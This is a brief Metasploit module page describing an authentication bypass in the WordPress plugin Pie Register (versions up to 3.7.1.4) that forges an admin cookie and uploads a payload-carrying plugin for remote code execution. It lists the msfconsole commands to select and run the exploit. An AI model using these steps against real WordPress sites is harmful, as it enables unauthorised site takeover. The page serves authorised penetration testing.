This module uses an authentication bypass vulnerability in Wordpress Plugin Pie Register <= 3.7.1.4 to generate a valid cookie. With this cookie, hopefully of the admin, it will generate a plugin, pack the payload into it and upload it to a server running WordPress.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/unix/webapp/wp_pie_register_bypass_rce
msf exploit(wp_pie_register_bypass_rce) > show targets
...targets...
msf exploit(wp_pie_register_bypass_rce) > set TARGET < target-id >
msf exploit(wp_pie_register_bypass_rce) > show options
...show and set options...
msf exploit(wp_pie_register_bypass_rce) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
